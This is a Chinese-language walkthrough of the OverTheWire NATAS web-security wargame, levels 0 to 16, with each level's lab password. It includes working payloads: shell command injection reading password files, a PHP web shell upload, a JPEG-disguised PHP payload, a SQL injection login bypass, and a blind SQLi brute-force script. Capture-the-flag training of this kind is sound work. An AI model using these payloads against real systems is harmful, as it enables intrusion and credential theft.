# NATAS Write-up(NATAS 中文解答) [TOC] ## [NATAS 0](http://natas0.natas.labs.overthewire.org) > - Link: http://natas0.natas.labs.overthewire.org > - Username: natas0 > - Password: natas0 1. 打開網頁原始碼,即可看到 NATAS 1 的密碼。 ## [NATAS 1](http://natas1.natas.labs.overthewire.org) > - Link: http://natas1.natas.labs.overthewire.org > - Username: natas1 > - Password: 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq 1. 這題禁止使用右鍵,所以打不開開發者工具,可以用以下兩種方法開啟開發者工具: - 按鍵盤上的 F12 鍵打開開發者工具 - 點擊瀏覽器右上角的三個點 > More Tools > Developer Tools 2. 打開後就會看到 NATAS 2 的密碼了。 ## [NATAS 2](http://natas2.natas.labs.overthewire.org) > - Link: http://natas2.natas.labs.overthewire.org > - Username: natas2 > - Password: TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI 1. 在 Developer Tools 中的 Sources 分頁可以看到一個 `files` 的資料夾,當中只有一個 `pixel.png` 的檔案,故思考 `files` 資料夾中是否有其他檔案。 2. 在網址列後方加入 `/files` 變成 `http://natas2.natas.labs.overthewire.org/files` 後,發現還有一個 `users.txt` 的檔案。 3. 點擊打開 `users.txt` 後,就看到 NATAS 3 的密碼了。 ## [NATAS 3](http://natas3.natas.labs.overthewire.org) > - Link: http://natas3.natas.labs.overthewire.org > - Username: natas3 > - Password: 3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH 1. 打開原始碼後看到 `<!-- No more information leaks!! Not even Google will find it this time... -->`。 2. 不讓 Google 搜尋顯示網站的方法有兩種: 參考文獻:https://www.da-vinci.com.tw/tw/blog/robots_noindex - 在原始碼加入 noindex - 撰寫跟目錄的 `robots.txt` 限制爬取資料 3. 猜測 NATAS 4 的在 `robots.txt` 中。 4. 在網址後方加入 `/robots.txt`,變成 `http://natas3.natas.labs.overthewire.org/robots.txt`。 5. 看到路徑 `/s3cr3t/` 被禁止存取。 6. 故前往 `/s3cr3t/`,變成 `http://natas3.natas.labs.overthewire.org/s3cr3t/`,並看見一個 `users.txt` 的檔案。 7. 點開 `users.txt` 後,就得到 NATAS 4 的密碼了。 ## [NATAS 4](http://natas4.natas.labs.overthewire.org) > - Link: http://natas4.natas.labs.overthewire.org > - Username: natas4 > - Password: QryZXc2e0zahULdHrtHxzyYkj59kUxLQ 1. 網頁顯示僅允許來自 `http://natas5.natas.labs.overthewire.org/` 的使用者存取。 2. 打開 Developer Tools 的 Network 分頁後,看到 `index.php` 封包中有一個 `Host` 標籤,透過 [`ModHeader`](https://chromewebstore.google.com/detail/modheader-modify-http-hea/idgpnmonknjnojddfkpgkljpfnnfcklj) 等工具,將 `Referer` 的內容改成 `http://natas5.natas.labs.overthewire.org/`,點擊網頁中的 `Refresh page`,即可看到 NATAS 5 的密碼。 ## [NATAS 5](http://natas5.natas.labs.overthewire.org) > - Link: http://natas5.natas.labs.overthewire.org > - Username: natas5 > - Password: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK 1. 網頁顯示沒有登入。 2. 打開 Developer Tools 的 Application 分頁,看到 Cookie 中有一個 `loggedin` 的值為 `0`。 3. 雙擊 `loggedin` 的值,並修改成 `1` 後,重新整理就看到 NATAS 6 的密碼了。 ## [NATAS 6](http://natas6.natas.labs.overthewire.org) > - Link: http://natas6.natas.labs.overthewire.org > - Username: natas6 > - Password: 0RoJwHdSKWFTYR5WuiAewauSuNaBXned 1. 點擊 `View sourcecode`後,打開網頁後端原始碼。 2. 發現要讓網頁吐出 NATAS 7 密碼的方式,就是讓 `$secret` 與 `$_POST['secret']` 的內容相符。也就是說:網頁中輸入框的文字必須與 `$secret` 相符。 3. 在後端原始碼中找了一下,發現找不到 `$secret` 的宣告或賦值指令,故推測該值為後端原始碼中的 `include "includes/secret.inc";` 代入的。 4. 回到前端網頁,在網址列後方加入 `/includes/secret.inc`,就看到 `$secret` 的值為 `FOEIUWGHFEEUHOFUOIU`。 5. 在網頁輸入框中,輸入 `$secret` 的值:`FOEIUWGHFEEUHOFUOIU`。 6. 就得到 NATAS 7 的密碼了。 ## [NATAS 7](http://natas7.natas.labs.overthewire.org) > - Link: http://natas7.natas.labs.overthewire.org > - Username: natas7 > - Password: bmg8SvU1LizuWjx3y7xkNERkHxGre0GS 1. 點擊 `Home` 或 `About` 後,發現連結中的 `page` 參數會隨之改變。 2. 嘗試改變 `page` 參數後,會發現顯示錯誤訊息:找不到這樣的路徑。 3. 回到官網:[`OverTheWire`](https://overthewire.org/wargames/natas/),看到密碼均存在 `/etc/natas_webpass/natas?`(`?` 是題號的數字,例如:NATA 7 的密碼就存在 `/etc/natas_webpass/natas7`) 4. 回到 NATAS 7,在網址列中的 `page` 參數修改成 `/etc/natas_webpass/natas8` 後,就得到 NATAS 8 的密碼了。 ## [NATAS 8](http://natas8.natas.labs.overthewire.org) > - Link: http://natas8.natas.labs.overthewire.org > - Username: natas8 > - Password: xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q 1. 點擊 `View soursecode` 查看後端 php 原始碼。 2. 有一個函式 `encodeSecret()` 會將輸入的值,經過以下處理並回傳: 1. 進行 Base64 編碼 2. 將字串反轉 3. 將二進位轉換成十六進位 3. 查看主函式發現讓輸入框中的文字經過 `encodeSecret()` 函式計算後,只要與 `$encodedSecret` 相等,就能得到 NATAS 9 的密碼。 4. 想達成上一點的條件,就需要將 `$encodedSecret` 變數的文字反向解碼,以下是解碼的步驟: 1. 十六進位轉二進位 2. 字串反轉 3. Base64 解碼 5. 將上一點的解碼 `oubWYf2kBq` 貼上輸入框並送出,就得到 NATAS 9 的密碼了。 ## [NATAS 9](http://natas9.natas.labs.overthewire.org) > - Link: http://natas9.natas.labs.overthewire.org > - Username: natas9 > - Password: ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t 1. 打開網頁 php 原始碼,看到 `passthru()` 函式,這個函式可以執行任何 shell 指令。 2. 由程式碼可看出,該行程式會在 `dictionary.txt` 中尋找字串,而尋找的字串即為輸入框輸入的值。 3. 可以使用 `;` 分開多個執行指令,所以在輸入框的輸入值前後各加入一個 `;`,就能執行任意指令了! 5. 使用 `cat /etc/natas_webpass/natas10` 指令即可讀取 `/etc/natas_webpass/natas10` 檔案的內容。 6. 在輸入框中輸入 `;cat /etc/natas_webpass/natas10;`,就得到 NATAS 10 的密碼了。 ## [NATAS 10](http://natas10.natas.labs.overthewire.org) > - Link: http://natas10.natas.labs.overthewire.org > - Username: natas10 > - Password: t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu 1. 在這關中,因為禁止了一些字元的輸入,所以無法像 NATAS 9 一樣利用分號隔開指令,並任意執行。 2. 但仍可用正規表達式中的 `.*` 輸出檔案中的所有內容。 3. 在輸入框中輸入 `".*" /etc/natas_webpass/natas11` 後,就在輸出的第一行得到 NATAS 11 的密碼了。 ## [NATAS 11](http://natas11.natas.labs.overthewire.org) > - Link: http://natas11.natas.labs.overthewire.org > - Username: natas11 > - Password: UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk 1. 觀察原始碼,以下是原始碼之邏輯流程圖。 ```mermaid graph TD; subgraph loadData Function A([開始]); A --> B{篩選各種不是很重要的判斷式}; B -- Yes --> C[/讀取 Cookie 中 $data 值/]; C --> D[對其進行 Base64 解密]; D --> E[對其再進行 XOR 運算(尚不知道 Key 值)]; E --> F[將其 JSON 格式轉換成 Array]; F --> J[/回傳解碼後之值/] B -- No --> G[/回傳預設值/]; end subgraph 設定背景色 G --> H[將 Cookie 中 $data 的背景色值,設定成前端輸入框的值]; J --> H; end subgraph 回傳 Cookie H --> I[/讀取 $data 解密後的值/]; I --> K[將其 Array 格式轉換成 JSON 格式]; K --> L[對其進行 XOR 運算(與 loadData Function 的 Key 值相同)]; L --> M[對其進行 Base64 加密]; M --> N[/回傳至前端編碼後的 Cookie/]; end subgraph 顯示 NATAS 12 之密碼 N --> O{判斷 $data 中的 showpassword 值是否為 yes}; O -- Yes --> P[/回傳 NATAS 12 密碼並顯示在前端/]; end O -- No --> Q([結束]); P --> Q; ``` 2. 由上流程圖可知將 Cookie 中 data 的 showpassword 值設定為 yes 即可獲得 NATAS 12 的密碼。 3. 在將 showpassword 的值設定成 yes 之前,必須先得知 XOR 的 Key。 4. 目前 Cookie 中的 data 值為預設的值,所以我們可以將以下兩物件進行 XOR 運算,即可得到 Key。 1. 預設值轉換成 JSON 格式 2. data 值進行 Base64 的解密 5. 可透過以下程式獲得預設值的 JSON 格式。 ```php= <?php $a = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); echo json_encode($a); ?> ``` 6. 獲得預設值的 JSON 格式為:`{"showpassword":"no","bgcolor":"#ffffff"}`。 7. 將 Cookie 中 data 值進行 Base64 解密後,與上方 JSON 資料進行 XOR 運算後得到 Key 為:`eDWo`,可透過稍作修改該網頁之 php 原始碼進行 XOR 運算,範例程式如下: ```php= <?php $text1 = '{"showpassword":"no","bgcolor":"#ffffff"}'; $text2 = base64_decode("HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg%3D"); $key = ''; for($i=0;$i<strlen($text1);$i++) { $key .= $text1[$i] ^ $text2[$i % strlen($text1)]; } echo $key; ?> ``` 9. 將 `{"showpassword":"yes","bgcolor":"#ffffff"}` 與 Key 值:`eDWo` 進行 XOR 運算後,進行 Base64 編碼得到:`HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5`。 10. 將其設定為 Cookie 的 data 值後重新整理,就得到 NATAS 12 的密碼了!恭喜你完成了一個困難的任務 XD。 ## [NATAS 12](http://natas12.natas.labs.overthewire.org) > - Link: http://natas12.natas.labs.overthewire.org > - Username: natas12 > - Password: yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB 1. 打開題目後會看到可以查看原始 PHP 程式碼,以下提供附上程式碼並逐行註解說明程式。 ```php= <?php function genRandomString() { // 製作一個隨機的亂碼字串 $length = 10; $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; $string = ""; for ($p = 0; $p < $length; $p++) { $string .= $characters[mt_rand(0, strlen($characters)-1)]; } return $string; } function makeRandomPath($dir, $ext) { // 重製檔名 do { $path = $dir."/".genRandomString().".".$ext; } while(file_exists($path)); return $path; } function makeRandomPathFromFilename($dir, $fn) { // 獲取隱藏輸入框之內容並取得副檔名後,呼叫製作隨機檔名 $ext = pathinfo($fn, PATHINFO_EXTENSION); return makeRandomPath($dir, $ext); } if(array_key_exists("filename", $_POST)) { $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); // 設定 target_path 變數為呼叫 makeRandomPathFromFilename 函式並帶入兩個值回傳之值,帶入之兩參數分別為 "upload" 字串與一個隱藏在前端網頁中的輸入框內容。 if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { // 判斷檔案是否超過 1 KB。 echo "File is too big"; // 檔案若超過 1 KB 則回傳「File is too big」。 } else { // 若檔案小於 1 KB,則上傳並回傳檔案上傳路徑。 if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { // 上傳檔案至 target_path 變數之路徑 echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; // 回傳檔案上傳之位置 } else{ echo "There was an error uploading the file, please try again!"; // 若上傳錯誤則回傳「There was an error uploading the file, please try again!」 } } } else { ?> ``` 2. 由上述程式碼猜測為檔案上傳漏洞。 3. 於是先製作一個 PHP 檔,其內容如下,以進行 RCE 獲取密碼。 ```php= <?php system("cat /etc/natas_webpass/natas13"); ?> ``` 4. 為使其儲存成 PHP 檔,隱藏透過點擊鍵盤 F12 打開開發者工具,並將一個名為 `filename` 隱藏輸入框的值副檔名修改成 `.php`。 5. 接著上傳第三步製作的 PHP 檔後,網站回傳檔案上傳之路徑,將其打開後就看到 NATAS 13 的密碼了。 ## [NATAS 13](http://natas13.natas.labs.overthewire.org) > - Link: http://natas13.natas.labs.overthewire.org > - Username: natas13 > - Password: trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC 1. 觀察此題提供之原始碼發現其透過 `exif_imagetype()` 函式判斷是否為圖像檔,避免遭到檔案上傳漏洞的攻擊。 2. 然而攻擊者仍可透過一些方式繞過這個函式,此函式判斷是否為圖像的依據為查看檔案的標頭。以 jpeg 為例,其標頭為:`0xFF 0xD8 0xFF 0xE0`。 3. 故撰寫一個 Python 程式製作一個可繞過 `exif_imagetype()` 函式並進行攻擊的 jpeg 檔,範例程式如下: ```python= shell=open('natas13.jpeg','wb') shell.write(b'\xFF\xD8\xFF\xE0'+b"<?php passthru('cat /etc/natas_webpass/natas14');") shell.close() ``` 4. 接著就是類似 NATAS 12 的作法:將隱藏的文字方塊修改並上傳後打開回傳的路徑就得到 NATAS 14 的密碼了。 ## [NATAS 14](http://natas14.natas.labs.overthewire.org) > - Link: http://natas14.natas.labs.overthewire.org > - Username: natas14 > - Password: z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ 1. 查看前端和網頁原始碼,看起來就很 SQLi。 2. Username 輸入 `" OR 1=1 #`,Password 留空,點擊 Login 就得到 NATAS 15 的密碼了。 ## [NATAS 15](http://natas15.natas.labs.overthewire.org) > - Link: http://natas15.natas.labs.overthewire.org > - Username: natas15 > - Password: SdqIqBsFcz3yotlNYErZSZwblkm0lrvx 1. 看來是個 Blind SQLi,寫程式把 NATAS 16 的密碼一個一個吐出來: ```python= import requests words = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890" key = "" def r(password): url = 'http://natas15.natas.labs.overthewire.org/index.php?username='+password headers = { 'Host': 'natas15.natas.labs.overthewire.org', 'Authorization': 'Basic bmF0YXMxNTpTZHFJcUJzRmN6M3lvdGxOWUVyWlNad2Jsa20wbHJ2eA==' } response = requests.get(url, headers=headers) return response for j in range(32): for i in words: password = '"+OR+password+LIKE+BINARY+"' + key + i + "%" + '"+--+' response=r(password) if("This user exists." in response.text): key+=i print(key) break ``` 2. 最後得到 NATAS 16 的密碼。 ## [NATAS 16](http://natas16.natas.labs.overthewire.org) > - Link: http://natas16.natas.labs.overthewire.org > - Username: natas16 > - Password: hPkjKYviLQctEW33QmuXL6eDVfMW4sGo